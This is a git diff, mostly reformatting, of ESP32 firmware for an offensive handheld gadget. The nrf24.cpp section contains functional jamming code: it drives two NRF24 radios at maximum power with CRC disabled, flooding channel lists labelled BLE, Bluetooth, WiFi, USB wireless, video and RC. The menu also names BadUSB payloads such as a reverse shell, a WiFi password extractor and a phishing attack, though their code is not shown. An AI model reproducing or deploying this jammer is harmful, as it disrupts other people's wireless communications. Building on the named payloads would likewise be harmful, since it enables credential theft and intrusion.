+ // display 6 lines
+ for (int i = 0; i < 6; i++) {
+ int idx = scroll + i;
- noInterrupts();
- unsigned long val = captureBuffer[idx];
- interrupts();
+ if (idx >= count)
+ break;
- char buf[32];
+ noInterrupts();
+ unsigned long val = captureBuffer[idx];
+ interrupts();
- snprintf(buf, sizeof(buf), "%03d: %lu", idx, val);
+ char buf[32];
- u8g2.drawStr(0, 20 + (i * 8), buf);
- }
+ snprintf(buf, sizeof(buf), "%03d: %lu", idx, val);
- u8g2.sendBuffer();
+ u8g2.drawStr(0, 20 + (i * 8), buf);
+ }
- // scroll down
- if (btnDown())
- {
- if (scroll < count - 1)
- scroll++;
+ u8g2.sendBuffer();
- delay(120);
- }
+ // scroll down
+ if (btnDown()) {
+ if (scroll < count - 1)
+ scroll++;
- // scroll up
- if (btnUp())
- {
- if (scroll > 0)
- scroll--;
+ delay(120);
+ }
- delay(120);
- }
+ // scroll up
+ if (btnUp()) {
+ if (scroll > 0)
+ scroll--;
- // replay
- if (btnSelect())
- {
- replaySignal();
- delay(300);
- }
+ delay(120);
+ }
- // exit
- if (btnBack())
- {
- delay(150);
- return;
- }
+ // replay
+ if (btnSelect()) {
+ replaySignal();
+ delay(300);
+ }
- delay(20);
+ // exit
+ if (btnBack()) {
+ delay(150);
+ return;
}
+
+ delay(20);
+ }
}
diff --git a/src/rf/nrf24.cpp b/src/rf/nrf24.cpp
index b780725..fb6e1ee 100644
--- a/src/rf/nrf24.cpp
+++ b/src/rf/nrf24.cpp
@@ -1,8 +1,8 @@
-#include <Arduino.h>
-#include <RF24.h>
#include "nrf24.h"
#include "../ui/display.h"
#include "../utils/buttons.h"
+#include <Arduino.h>
+#include <RF24.h>
#define JAM_DURATION 500
extern SPIClass *RADIO_SPI;
@@ -11,239 +11,206 @@ extern RF24 radio2;
// ============ CHANNELS =============
const byte bleChannels[] = {2, 26, 80};
-const byte bluetoothChannels[] = {
- 32, 34, 46, 48, 50, 52,
- 0, 1, 2, 4, 6, 8,
- 22, 24, 26, 28, 30,
- 74, 76, 78, 80
-};
-const byte wifiChannels[] = {
- 12, 17, 22, 27, 32,
- 37, 42, 47, 52, 57,
- 62, 67, 72
-};
-const byte usbWireless_channels[] = {40, 50, 60};
+const byte bluetoothChannels[] = {32, 34, 46, 48, 50, 52, 0, 1, 2, 4, 6,
+ 8, 22, 24, 26, 28, 30, 74, 76, 78, 80};
+const byte wifiChannels[] = {12, 17, 22, 27, 32, 37, 42,
+ 47, 52, 57, 62, 67, 72};
+const byte usbWireless_channels[] = {40, 50, 60};
const byte videoTransmitter_channels[] = {70, 75, 80};
-const byte zigbee_channels[] = {11, 15, 20, 25};
-const byte rc_channels[] = {1, 3, 5, 7};
-
-void initNRF(RF24 &radio)
-{
- if (!radio.begin(RADIO_SPI)) {
- Serial.println("NRF not found");
- return;
- }
-
- radio.setAutoAck(false);
- radio.stopListening();
- radio.setRetries(0, 0);
- radio.setPALevel(RF24_PA_MAX, true);
- radio.setDataRate(RF24_2MBPS);
- radio.openWritingPipe(0xE7E7E7E7E7LL);
- radio.setCRCLength(RF24_CRC_DISABLED);
- Serial.println("NRF Initialized");
-
+const byte zigbee_channels[] = {11, 15, 20, 25};
+const byte rc_channels[] = {1, 3, 5, 7};
+
+void initNRF(RF24 &radio) {
+ if (!radio.begin(RADIO_SPI)) {
+ Serial.println("NRF not found");
+ return;
+ }
+
+ radio.setAutoAck(false);
+ radio.stopListening();
+ radio.setRetries(0, 0);
+ radio.setPALevel(RF24_PA_MAX, true);
+ radio.setDataRate(RF24_2MBPS);
+ radio.openWritingPipe(0xE7E7E7E7E7LL);
+ radio.setCRCLength(RF24_CRC_DISABLED);
+ Serial.println("NRF Initialized");
}
-
-
-//void startBleJammer() {
-// initNRF(radio1);
-// initNRF(radio2);
+// void startBleJammer() {
+// initNRF(radio1);
+// initNRF(radio2);
//
-// Serial.println("NRF JAMMER STARTED");
+// Serial.println("NRF JAMMER STARTED");
//
-// const char payload[] = "xxxxxxxxxxxxxxxx";
+// const char payload[] = "xxxxxxxxxxxxxxxx";
//
-// u8g2.clearBuffer();
-// u8g2.drawStr(0, 10, "Jamming:");
-// u8g2.setCursor(60, 10);
-// u8g2.print("Bluetooth");
-// u8g2.sendBuffer();
+// u8g2.clearBuffer();
+// u8g2.drawStr(0, 10, "Jamming:");
+// u8g2.setCursor(60, 10);
+// u8g2.print("Bluetooth");
+// u8g2.sendBuffer();
//
-// while(true) {
+// while(true) {
//
-// // Channels (you can change this set)
-// const byte channels[] = {2, 26, 80};
+// // Channels (you can change this set)
+// const byte channels[] = {2, 26, 80};
//
//
-// for (int i = 0; i < sizeof(channels); i++) {
-// radio1.setChannel(channels[i]);
-// radio1.write(&payload, sizeof(payload));
-// //radio2.setChannel(channels[i]);
-// //radio2.write(&payload, sizeof(payload));
-// }
+// for (int i = 0; i < sizeof(channels); i++) {
+// radio1.setChannel(channels[i]);
+// radio1.write(&payload, sizeof(payload));
+// //radio2.setChannel(channels[i]);
+// //radio2.write(&payload, sizeof(payload));
+// }
//
-// if (btnBack())
-// {
-// Serial.println("Jammer stopped");
-// return;
-// }
-// }
+// if (btnBack())
+// {
+// Serial.println("Jammer stopped");
+// return;
+// }
+// }
//
-//}
+// }
//
-//void startBluetoothJammer()
+// void startBluetoothJammer()
//{
-// initNRF(radio1);
-// initNRF(radio2);
+// initNRF(radio1);
+// initNRF(radio2);
//
-// Serial.println("NRF JAMMER STARTED");
+// Serial.println("NRF JAMMER STARTED");
//
-// const char payload[] = "xxxxxxxxxxxxxxxx";
+// const char payload[] = "xxxxxxxxxxxxxxxx";
//
-// u8g2.clearBuffer();
-// u8g2.drawStr(0, 10, "Jamming:");
-// u8g2.setCursor(60, 10);
-// u8g2.print("Bluetooth");
-// u8g2.sendBuffer();
+// u8g2.clearBuffer();
+// u8g2.drawStr(0, 10, "Jamming:");
+// u8g2.setCursor(60, 10);
+// u8g2.print("Bluetooth");
+// u8g2.sendBuffer();
//
-// while(true) {
+// while(true) {
//
-// // Channels (you can change this set)
-// const byte channels[] = {32, 34, 46, 48, 50, 52, 0, 1, 2, 4, 6, 8, 22, 24, 26, 28, 30, 74, 76, 78, 80};
+// // Channels (you can change this set)
+// const byte channels[] = {32, 34, 46, 48, 50, 52, 0, 1, 2, 4, 6, 8, 22,
+// 24, 26, 28, 30, 74, 76, 78, 80};
//
//
-// for (int i = 0; i < sizeof(channels); i++) {
-// radio1.setChannel(channels[i]);
-// radio1.write(&payload, sizeof(payload));
-// //radio2.setChannel(channels[i]);
-// //radio2.write(&payload, sizeof(payload));
-// }
+// for (int i = 0; i < sizeof(channels); i++) {
+// radio1.setChannel(channels[i]);
+// radio1.write(&payload, sizeof(payload));
+// //radio2.setChannel(channels[i]);
+// //radio2.write(&payload, sizeof(payload));
+// }
//
-// if (btnBack())
-// {
-// Serial.println("Jammer stopped");
-// return;
-// }
-// }
-//}
-
-void startJammer(const char* name, const byte* channels, size_t channelCount)
-{
- initNRF(radio1);
- initNRF(radio2);
-
- Serial.println("NRF JAMMER STARTED");
+// if (btnBack())
+// {
+// Serial.println("Jammer stopped");
+// return;
+// }
+// }
+// }
- const char payload[] = "xxxxxxxxxxxxxxxx";
+void startJammer(const char *name, const byte *channels, size_t channelCount) {
+ initNRF(radio1);
+ initNRF(radio2);
- u8g2.clearBuffer();
- u8g2.setFont(u8g2_font_6x10_tr);
- u8g2.drawStr(0, 15, "NRF24 Jammer");
- u8g2.drawStr(0, 35, name);
- u8g2.drawStr(0, 55, "BACK = Exit");
- u8g2.sendBuffer();
+ Serial.println("NRF JAMMER STARTED");
- while (true)
- {
- for (size_t i = 0; i < channelCount; i++)
- {
- //radio1.setChannel(channels[i]);
- //radio1.write(&payload, sizeof(payload));
+ const char payload[] = "xxxxxxxxxxxxxxxx";
- // Optional second NRF
- // radio2.setChannel(channels[i]);
- // radio2.write(&payload, sizeof(payload));
+ u8g2.clearBuffer();
+ u8g2.setFont(u8g2_font_6x10_tr);
+ u8g2.drawStr(0, 15, "NRF24 Jammer");
+ u8g2.drawStr(0, 35, name);
+ u8g2.drawStr(0, 55, "BACK = Exit");
+ u8g2.sendBuffer();
+ while (true) {
+ for (size_t i = 0; i < channelCount; i++) {
+ // radio1.setChannel(channels[i]);
+ // radio1.write(&payload, sizeof(payload));
- radio1.setChannel(channels[i]);
- radio2.setChannel(channels[(i + 1) % channelCount]);
+ // Optional second NRF
+ // radio2.setChannel(channels[i]);
+ // radio2.write(&payload, sizeof(payload));
- radio1.writeFast(&payload, sizeof(payload));
- radio2.writeFast(&payload, sizeof(payload));
- }
+ radio1.setChannel(channels[i]);
+ radio2.setChannel(channels[(i + 1) % channelCount]);
- if (btnBack())
- {
- Serial.println("Jammer stopped");
- radio1.powerDown();
- radio2.powerDown();
- return;
- }
- }
+ radio1.writeFast(&payload, sizeof(payload));
+ radio2.writeFast(&payload, sizeof(payload));
+ }
- //while (true) {
- //for (size_t i = 0; i < channelCount; i++)
- //{
- // radio1.setChannel(channels[i]);
- // radio2.setChannel(channels[(i + 1) % channelCount]);
+ if (btnBack()) {
+ Serial.println("Jammer stopped");
+ radio1.powerDown();
+ radio2.powerDown();
+ return;
+ }
+ }
- // radio1.writeFast(&payload, sizeof(payload));
- // radio2.writeFast(&payload, sizeof(payload));
+ // while (true) {
+ // for (size_t i = 0; i < channelCount; i++)
+ //{
+ // radio1.setChannel(channels[i]);
+ // radio2.setChannel(channels[(i + 1) % channelCount]);
- // radio1.txStandBy(1);
- // radio2.txStandBy(1);
+ // radio1.writeFast(&payload, sizeof(payload));
+ // radio2.writeFast(&payload, sizeof(payload));
- // delayMicroseconds(200);
- //}
+ // radio1.txStandBy(1);
+ // radio2.txStandBy(1);
+ // delayMicroseconds(200);
+ //}
- //if (btnBack())
- //{
- // Serial.println("Jammer stopped");
+ // if (btnBack())
+ //{
+ // Serial.println("Jammer stopped");
- // radio1.powerDown();
- // radio2.powerDown();
+ // radio1.powerDown();
+ // radio2.powerDown();
- // return;
- //}
-//}
+ // return;
+ //}
+ //}
}
void NRFToolsMenu(int index) {
- switch (index) {
- case 0:
- // startBleJammer();
- // BLE
- startJammer(
- "BLE",
- bleChannels,
- sizeof(bleChannels) / sizeof(bleChannels[0])
- );
-
- break;
- case 1:
- // startBluetoothJammer();
- // Bluetooth
- startJammer(
- "Bluetooth",
- bluetoothChannels,
- sizeof(bluetoothChannels) / sizeof(bluetoothChannels[0])
- );
- break;
-
- case 2:
- startJammer(
- "WiFi",
- wifiChannels,
- sizeof(wifiChannels) / sizeof(wifiChannels[0])
- );
- break;
- case 3:
- startJammer(
- "USB Wireless",
- usbWireless_channels,
- sizeof(usbWireless_channels) / sizeof(usbWireless_channels[0])
- );
- break;
- case 4:
- startJammer(
- "Video TX",
- videoTransmitter_channels,
- sizeof(videoTransmitter_channels) / sizeof(videoTransmitter_channels[0])
- );
- break;
- case 5:
- break;
- startJammer(
- "RC",
- rc_channels,
- sizeof(rc_channels) / sizeof(rc_channels[0])
- );
- break;
- case 6:
-
- break;
+ switch (index) {
+ case 0:
+ // startBleJammer();
+ // BLE
+ startJammer("BLE", bleChannels,
+ sizeof(bleChannels) / sizeof(bleChannels[0]));
+
+ break;
+ case 1:
+ // startBluetoothJammer();
+ // Bluetooth
+ startJammer("Bluetooth", bluetoothChannels,
+ sizeof(bluetoothChannels) / sizeof(bluetoothChannels[0]));
+ break;
+
+ case 2:
+ startJammer("WiFi", wifiChannels,
+ sizeof(wifiChannels) / sizeof(wifiChannels[0]));
+ break;
+ case 3:
+ startJammer("USB Wireless", usbWireless_channels,
+ sizeof(usbWireless_channels) / sizeof(usbWireless_channels[0]));
+ break;
+ case 4:
+ startJammer("Video TX", videoTransmitter_channels,
+ sizeof(videoTransmitter_channels) /
+ sizeof(videoTransmitter_channels[0]));
+ break;
+ case 5:
+ break;
+ startJammer("RC", rc_channels,
+ sizeof(rc_channels) / sizeof(rc_channels[0]));
+ break;
+ case 6:
+
+ break;
+ }
}
- }
diff --git a/src/ui/display.cpp b/src/ui/display.cpp
index 12c9ac9..3b7b263 100644
--- a/src/ui/display.cpp
+++ b/src/ui/display.cpp
@@ -1,16 +1,11 @@
#include "display.h"
-#include <Wire.h>
#include "config.h"
+#include <Wire.h>
+U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2(U8G2_R0, U8X8_PIN_NONE);
-U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2(
- U8G2_R0,
- U8X8_PIN_NONE
-);
-
-void displayInit()
-{
- Wire.begin(OLED_SDA_PIN, OLED_SCL_PIN);
- u8g2.begin();
- u8g2.setFont(u8g2_font_6x12_tr);
+void displayInit() {
+ Wire.begin(OLED_SDA_PIN, OLED_SCL_PIN);
+ u8g2.begin();
+ u8g2.setFont(u8g2_font_6x12_tr);
}
diff --git a/src/ui/menu.cpp b/src/ui/menu.cpp
index 43c3de4..9898f64 100644
--- a/src/ui/menu.cpp
+++ b/src/ui/menu.cpp
@@ -1,71 +1,55 @@
-#include <Arduino.h>
#include "menu.h"
+#include "BleMouse.h"
+#include "bluetooth/ble_mouse.h"
+#include "bluetooth/blescanner.h"
#include "display.h"
-#include "utils/buttons.h"
#include "hid/badusb.h"
-#include "rf/nrf24.h"
+#include "nfc/nfc.h"
#include "rf/cc1101.h"
-#include "wifi/wifi_scan.h"
-#include "wifi/wifi_analyzer.h"
+#include "rf/nrf24.h"
+#include "utils/buttons.h"
#include "utils/device_check.h"
-#include "bluetooth/ble_mouse.h"
-#include "bluetooth/blescanner.h"
#include "utils/sysinfo.h"
-#include "BleMouse.h"
-#include "nfc/nfc.h"
+#include "wifi/wifi_analyzer.h"
+#include "wifi/wifi_scan.h"
+#include <Arduino.h>
// ================= MENU DATA =================
extern BleMouse bleMouse;
// Root menu
-const char *mainMenuItems[] = {
- "BadUSB",
- "RF Capture",
- "NRF Tools",
- "BLE Scan",
- "Wifi Scan",
- "Wifi Analyzer",
- "System Info",
- "Device Check",
- "Restart",
- "Ble Mouse",
- "NFC Tools"
-};
-
-Menu mainMenu = {mainMenuItems, sizeof(mainMenuItems) / sizeof(mainMenuItems[0])};
+const char *mainMenuItems[] = {"BadUSB", "RF Capture", "NRF Tools",
+ "BLE Scan", "Wifi Scan", "Wifi Analyzer",
+ "System Info", "Device Check", "Restart",
+ "Ble Mouse", "NFC Tools"};
+Menu mainMenu = {mainMenuItems,
+ sizeof(mainMenuItems) / sizeof(mainMenuItems[0])};
// NRF Tools menu
const char *nrfToolsItems[] = {
- "BLE Jammer",
- "Bluetooth Jammer",
- "Wifi Jammer",
- "USB Wireless",
- "Video TX",
- "Zigbee",
- "RC"
+ "BLE Jammer", "Bluetooth Jammer", "Wifi Jammer", "USB Wireless",
+ "Video TX", "Zigbee", "RC"
};
-Menu nrfToolsMenu = {nrfToolsItems, sizeof(nrfToolsItems) / sizeof(nrfToolsItems[0])};
-
-
-const char *badusbItems[] = {
- "ORION Demo",
- "RickRoll",
- "Matrix Rain",
- "Fake Terminal",
- "Wifi Password Extractor",
- "Fake Update",
- "Fake BSOD",
- "Glitch Screen",
- "ASCII Spam",
- "Hacker Typer",
- "PWN Reverse shell",
- "Phishing attack",
- "Desktop Ghost",
- "System Stresser"
-};
+Menu nrfToolsMenu = {nrfToolsItems,
+ sizeof(nrfToolsItems) / sizeof(nrfToolsItems[0])};
+
+const char *badusbItems[] = {"ORION Demo",
+ "RickRoll",
+ "Matrix Rain",
+ "Fake Terminal",
+ "Wifi Password Extractor",
+ "Fake Update",
+ "Fake BSOD",
+ "Glitch Screen",
+ "ASCII Spam",
+ "Hacker Typer",
+ "PWN Reverse shell",
+ "Phishing attack",
+ "Desktop Ghost",
+ "System Stresser"};
Menu badusbMenu = {badusbItems, sizeof(badusbItems) / sizeof(badusbItems[0])};
@@ -82,282 +66,251 @@ bool insideFeature = false;
// ================= DRAW =================
-void drawMenu()
-{
- u8g2.clearBuffer();
+void drawMenu() {
+ u8g2.clearBuffer();
- // scroll handling
- if (menuIndex < menuOffset)
- menuOffset = menuIndex;
+ // scroll handling
+ if (menuIndex < menuOffset)
+ menuOffset = menuIndex;
- if (menuIndex >= menuOffset + MENU_VISIBLE_ROWS)
- menuOffset = menuIndex - MENU_VISIBLE_ROWS + 1;
+ if (menuIndex >= menuOffset + MENU_VISIBLE_ROWS)
+ menuOffset = menuIndex - MENU_VISIBLE_ROWS + 1;
- for (int i = 0; i < MENU_VISIBLE_ROWS; i++)
- {
- int item = menuOffset + i;
+ for (int i = 0; i < MENU_VISIBLE_ROWS; i++) {
+ int item = menuOffset + i;
- if (item >= currentMenu->size)
- break;
+ if (item >= currentMenu->size)
+ break;
- if (item == menuIndex)
- u8g2.drawStr(0, 14 + i * 14, ">");
+ if (item == menuIndex)
+ u8g2.drawStr(0, 14 + i * 14, ">");
- u8g2.drawStr(10, 14 + i * 14, currentMenu->items[item]);
- }
+ u8g2.drawStr(10, 14 + i * 14, currentMenu->items[item]);
+ }
- // scroll indicators
- if (menuOffset > 0)
- u8g2.drawStr(118, 10, "^");
+ // scroll indicators
+ if (menuOffset > 0)
+ u8g2.drawStr(118, 10, "^");
- if (menuOffset + MENU_VISIBLE_ROWS < currentMenu->size)
- u8g2.drawStr(118, 62, "v");
+ if (menuOffset + MENU_VISIBLE_ROWS < currentMenu->size)
+ u8g2.drawStr(118, 62, "v");
- u8g2.sendBuffer();
+ u8g2.sendBuffer();
}
// ================= FEATURE EXECUTION =================
-void launchFeature()
-{
- insideFeature = true;
-
- if (currentMenu == &mainMenu)
- {
- switch (menuIndex)
- {
- case 0: // BadUSB → enter submenu
- currentMenu = &badusbMenu;
- menuIndex = 0;
- menuOffset = 0;
- break;
-
- case 1:
- handleMenu();
- break;
- case 2:
- // startNRFJammer();
- //startBleJammer();
- //startBluetoothJammer();
- currentMenu = &nrfToolsMenu;
- menuIndex = 0;
- menuOffset = 0;
- break;
-
- break;
- case 3:
- ble_scan();
- ble_drawMenu();
- while (1) {
- ble_loop();
- if (btnBack())
- break;
- }
- break;
-
- case 4:
- {
- // Start scan once
- wifi_scan_start();
- wifi_scan_draw();
-
- while (1) {
- wifi_scan_loop();
- // EXIT condition handled ONLY here
- if (btnBack()) {
- delay(150); // debounce
- break;
- }
- }
- break;
- }
- case 5:
- {
-
- wifi_analyzer_start();
-
- bool prevBack = false;
- while (1)
- {
- wifi_analyzer_loop();
- bool nowBack = btnBack();
- if (nowBack && !prevBack)
- {
- delay(150);
- break;
- }
- prevBack = nowBack;
- }
- break;
- }
-
- case 6:
- runSystemInfoFeature();
- break;
- case 7:
- device_check_run();
- break;
- case 8:
- {
- // wait for button release
- delay(200);
-
- while (btnSelect())
- delay(10);
- bool confirm = false;
-
- while (1)
- {
- u8g2.clearBuffer();
- u8g2.setFont(u8g2_font_6x13_tr);
-
- u8g2.drawStr(18, 18, "Restart Device?");
-
- if (confirm)
- {
- u8g2.drawBox(10, 35, 45, 15);
- u8g2.setDrawColor(0);
- u8g2.drawStr(20, 47, "YES");
- u8g2.setDrawColor(1);
-
- u8g2.drawStr(75, 47, "NO");
- }
- else
- {
- u8g2.drawStr(20, 47, "YES");
-
- u8g2.drawBox(65, 35, 45, 15);
- u8g2.setDrawColor(0);
- u8g2.drawStr(78, 47, "NO");
- u8g2.setDrawColor(1);
- }
-
- u8g2.sendBuffer();
-
- if (btnLeft() || btnUp())
- {
- confirm = true;
- delay(150);
- }
-
- if (btnRight() || btnDown())
- {
- confirm = false;
- delay(150);
- }
-
- if (btnSelect())
- {
- delay(150);
-
- if (confirm)
- {
- u8g2.clearBuffer();
- u8g2.drawStr(28, 30, "Restarting...");
- u8g2.sendBuffer();
-
- delay(1000);
- ESP.restart();
- }
- else
- {
- break;
- }
- }
-
- if (btnBack())
- {
- delay(150);
- break;
- }
- }
- }
- break;
-
- case 9:
- // Begin Ble mouse
- bleMouse.begin();
- ble_mouse_run();
- break;
- case 10:
- pn532_scan_loop();
- break;
+void launchFeature() {
+ insideFeature = true;
+
+ if (currentMenu == &mainMenu) {
+ switch (menuIndex) {
+ case 0: // BadUSB → enter submenu
+ currentMenu = &badusbMenu;
+ menuIndex = 0;
+ menuOffset = 0;
+ break;
+
+ case 1:
+ handleMenu();
+ break;
+ case 2:
+ // startNRFJammer();
+ // startBleJammer();
+ // startBluetoothJammer();
+ currentMenu = &nrfToolsMenu;
+ menuIndex = 0;
+ menuOffset = 0;
+ break;
+
+ break;
+ case 3:
+ ble_scan();
+ ble_drawMenu();
+ while (1) {
+ ble_loop();
+ if (btnBack())
+ break;
+ }
+ break;
+
+ case 4: {
+ // Start scan once
+ wifi_scan_start();
+ wifi_scan_draw();
+
+ while (1) {
+ wifi_scan_loop();
+ // EXIT condition handled ONLY here
+ if (btnBack()) {
+ delay(150); // debounce
+ break;
}
+ }
+ break;
}
- else if (currentMenu == &badusbMenu)
- {
- badUSBMenu(menuIndex);
- } else if (currentMenu == &nrfToolsMenu) {
- NRFToolsMenu(menuIndex);
+ case 5: {
+
+ wifi_analyzer_start();
+
+ bool prevBack = false;
+ while (1) {
+ wifi_analyzer_loop();
+ bool nowBack = btnBack();
+ if (nowBack && !prevBack) {
+ delay(150);
+ break;
+ }
+ prevBack = nowBack;
+ }
+ break;
}
- insideFeature = false;
+ case 6:
+ runSystemInfoFeature();
+ break;
+ case 7:
+ device_check_run();
+ break;
+ case 8: {
+ // wait for button release
+ delay(200);
+
+ while (btnSelect())
+ delay(10);
+ bool confirm = false;
+
+ while (1) {
+ u8g2.clearBuffer();
+ u8g2.setFont(u8g2_font_6x13_tr);
+
+ u8g2.drawStr(18, 18, "Restart Device?");
+
+ if (confirm) {
+ u8g2.drawBox(10, 35, 45, 15);
+ u8g2.setDrawColor(0);
+ u8g2.drawStr(20, 47, "YES");
+ u8g2.setDrawColor(1);
+
+ u8g2.drawStr(75, 47, "NO");
+ } else {
+ u8g2.drawStr(20, 47, "YES");
+
+ u8g2.drawBox(65, 35, 45, 15);
+ u8g2.setDrawColor(0);
+ u8g2.drawStr(78, 47, "NO");
+ u8g2.setDrawColor(1);
+ }
+
+ u8g2.sendBuffer();
- drawMenu();
+ if (btnLeft() || btnUp()) {
+ confirm = true;
+ delay(150);
+ }
+
+ if (btnRight() || btnDown()) {
+ confirm = false;
+ delay(150);
+ }
+
+ if (btnSelect()) {
+ delay(150);
+
+ if (confirm) {
+ u8g2.clearBuffer();
+ u8g2.drawStr(28, 30, "Restarting...");
+ u8g2.sendBuffer();
+
+ delay(1000);
+ ESP.restart();
+ } else {
+ break;
+ }
+ }
+
+ if (btnBack()) {
+ delay(150);
+ break;
+ }
+ }
+ } break;
+
+ case 9:
+ // Begin Ble mouse
+ bleMouse.begin();
+ ble_mouse_run();
+ break;
+ case 10:
+ pn532_scan_loop();
+ break;
+ }
+ } else if (currentMenu == &badusbMenu) {
+ badUSBMenu(menuIndex);
+ } else if (currentMenu == &nrfToolsMenu) {
+ NRFToolsMenu(menuIndex);
+ }
+
+ insideFeature = false;
+
+ drawMenu();
}
// ================= INIT =================
-void menuInit()
-{
- currentMenu = &mainMenu;
- menuIndex = 0;
- menuOffset = 0;
+void menuInit() {
+ currentMenu = &mainMenu;
+ menuIndex = 0;
+ menuOffset = 0;
- drawMenu();
+ drawMenu();
}
// ================= LOOP =================
-void menuLoop()
-{
- static uint32_t lastPress = 0;
-
- if (insideFeature)
- return;
+void menuLoop() {
+ static uint32_t lastPress = 0;
- if (millis() - lastPress < 150)
- return;
+ if (insideFeature)
+ return;
- if (btnUp())
- {
- menuIndex--;
+ if (millis() - lastPress < 150)
+ return;
- if (menuIndex < 0)
- menuIndex = currentMenu->size - 1;
+ if (btnUp()) {
+ menuIndex--;
- drawMenu();
- lastPress = millis();
- }
+ if (menuIndex < 0)
+ menuIndex = currentMenu->size - 1;
- else if (btnDown())
- {
- menuIndex++;
+ drawMenu();
+ lastPress = millis();
+ }
- if (menuIndex >= currentMenu->size)
- menuIndex = 0;
+ else if (btnDown()) {
+ menuIndex++;
- drawMenu();
- lastPress = millis();
- }
+ if (menuIndex >= currentMenu->size)
+ menuIndex = 0;
- else if (btnSelect())
- {
- launchFeature();
- lastPress = millis();
- }
+ drawMenu();
+ lastPress = millis();
+ }
- else if (btnBack())
- {
- if (currentMenu != &mainMenu)
- {
- currentMenu = &mainMenu;
- menuIndex = 0;
- menuOffset = 0;
+ else if (btnSelect()) {
+ launchFeature();
+ lastPress = millis();
+ }
- drawMenu();
- }
+ else if (btnBack()) {
+ if (currentMenu != &mainMenu) {
+ currentMenu = &mainMenu;
+ menuIndex = 0;
+ menuOffset = 0;
- lastPress = millis();
+ drawMenu();
}
+
+ lastPress = millis();
+ }
}
diff --git a/src/utils/buttons.cpp b/src/utils/buttons.cpp
index d3d1020..1e93150 100644
--- a/src/utils/buttons.cpp
+++ b/src/utils/buttons.cpp
@@ -1,15 +1,14 @@
#include "buttons.h"
-#include <Arduino.h>
#include "../config.h"
+#include <Arduino.h>
-void buttonsInit()
-{
- pinMode(BTN_UP, INPUT_PULLUP);
- pinMode(BTN_DOWN, INPUT_PULLUP);
- pinMode(BTN_SELECT, INPUT_PULLUP);
- pinMode(BTN_BACK, INPUT_PULLUP);
- pinMode(BTN_RIGHT, INPUT_PULLUP);
- pinMode(BTN_LEFT, INPUT_PULLUP);
+void buttonsInit() {
+ pinMode(BTN_UP, INPUT_PULLUP);
+ pinMode(BTN_DOWN, INPUT_PULLUP);
+ pinMode(BTN_SELECT, INPUT_PULLUP);
+ pinMode(BTN_BACK, INPUT_PULLUP);
+ pinMode(BTN_RIGHT, INPUT_PULLUP);
+ pinMode(BTN_LEFT, INPUT_PULLUP);
}
bool btnUp() { return !digitalRead(BTN_UP); }
diff --git a/src/utils/sysinfo.cpp b/src/utils/sysinfo.cpp
index aad170d..a852aad 100644
--- a/src/utils/sysinfo.cpp
+++ b/src/utils/sysinfo.cpp
@@ -1,87 +1,84 @@
-#include <Arduino.h>
#include "../ui/display.h"
#include "buttons.h"
+#include <Arduino.h>
#include <esp_chip_info.h>
#include <esp_heap_caps.h>
-void runSystemInfoFeature()
-{
- esp_chip_info_t chip_info;
-
- esp_chip_info(&chip_info);
+void runSystemInfoFeature() {
+ esp_chip_info_t chip_info;
- while (true)
- {
- //u8g2.clearBuffer();
+ esp_chip_info(&chip_info);
- //char buf[32];
+ while (true) {
+ // u8g2.clearBuffer();
- //sprintf(buf, "Cores: %d", chip_info.cores);
- //u8g2.drawStr(0, 14, buf);
+ // char buf[32];
- //sprintf(buf, "Heap: %d",
- // heap_caps_get_free_size(MALLOC_CAP_DEFAULT));
- //u8g2.drawStr(0, 28, buf);
+ // sprintf(buf, "Cores: %d", chip_info.cores);
+ // u8g2.drawStr(0, 14, buf);
+ // sprintf(buf, "Heap: %d",
+ // heap_caps_get_free_size(MALLOC_CAP_DEFAULT));
+ // u8g2.drawStr(0, 28, buf);
- //u8g2.drawStr(0, 60, "BACK to exit");
+ // u8g2.drawStr(0, 60, "BACK to exit");
- // Get RAM info
- size_t freeHeap = heap_caps_get_free_size(MALLOC_CAP_DEFAULT);
- size_t totalHeap = heap_caps_get_total_size(MALLOC_CAP_DEFAULT);
- int ramUsage = 100 - ((freeHeap * 100) / totalHeap);
+ // Get RAM info
+ size_t freeHeap = heap_caps_get_free_size(MALLOC_CAP_DEFAULT);
+ size_t totalHeap = heap_caps_get_total_size(MALLOC_CAP_DEFAULT);
+ int ramUsage = 100 - ((freeHeap * 100) / totalHeap);
- // Get Flash info
- //uint32_t flashSize = spi_flash_get_chip_size();
- uint32_t flashSize = ESP.getFlashChipSize();
- uint32_t flashUsed = ESP.getSketchSize();
- int flashUsage = (flashUsed * 100) / flashSize;
+ // Get Flash info
+ // uint32_t flashSize = spi_flash_get_chip_size();
+ uint32_t flashSize = ESP.getFlashChipSize();
+ uint32_t flashUsed = ESP.getSketchSize();
+ int flashUsage = (flashUsed * 100) / flashSize;
- // Temperature (approx)
- uint8_t temperature = temperatureRead();
+ // Temperature (approx)
+ uint8_t temperature = temperatureRead();
- // Chip info
- esp_chip_info_t chip_info;
- esp_chip_info(&chip_info);
-
- u8g2.clearBuffer();
- u8g2.setFont(u8g2_font_6x12_tr);
+ // Chip info
+ esp_chip_info_t chip_info;
+ esp_chip_info(&chip_info);
- char buf[32];
+ u8g2.clearBuffer();
+ u8g2.setFont(u8g2_font_6x12_tr);
- // Box 1 - RAM
- u8g2.drawFrame(0, 0, 128, 12);
- sprintf(buf, "RAM: %d%% used", ramUsage);
- u8g2.drawStr(4, 9, buf);
+ char buf[32];
- // Box 2 - Flash
- u8g2.drawFrame(0, 12, 128, 12);
- sprintf(buf, "Flash: %d%% used", flashUsage);
- u8g2.drawStr(4, 21, buf);
+ // Box 1 - RAM
+ u8g2.drawFrame(0, 0, 128, 12);
+ sprintf(buf, "RAM: %d%% used", ramUsage);
+ u8g2.drawStr(4, 9, buf);
- // Box 3 - Temp (FULL WIDTH now)
- u8g2.drawFrame(0, 24, 128, 12);
- sprintf(buf, "Temp: %d C", temperature);
- u8g2.drawStr(4, 33, buf);
+ // Box 2 - Flash
+ u8g2.drawFrame(0, 12, 128, 12);
+ sprintf(buf, "Flash: %d%% used", flashUsage);
+ u8g2.drawStr(4, 21, buf);
- // Box 4 - Chip info (FULL WIDTH)
- u8g2.drawFrame(0, 36, 128, 12);
- sprintf(buf, "Cores: %d Rev: %d", chip_info.cores, chip_info.revision);
- u8g2.drawStr(4, 45, buf);
+ // Box 3 - Temp (FULL WIDTH now)
+ u8g2.drawFrame(0, 24, 128, 12);
+ sprintf(buf, "Temp: %d C", temperature);
+ u8g2.drawStr(4, 33, buf);
- // Box 5 - PSRAM (KB)
- u8g2.drawFrame(0, 48, 128, 12);
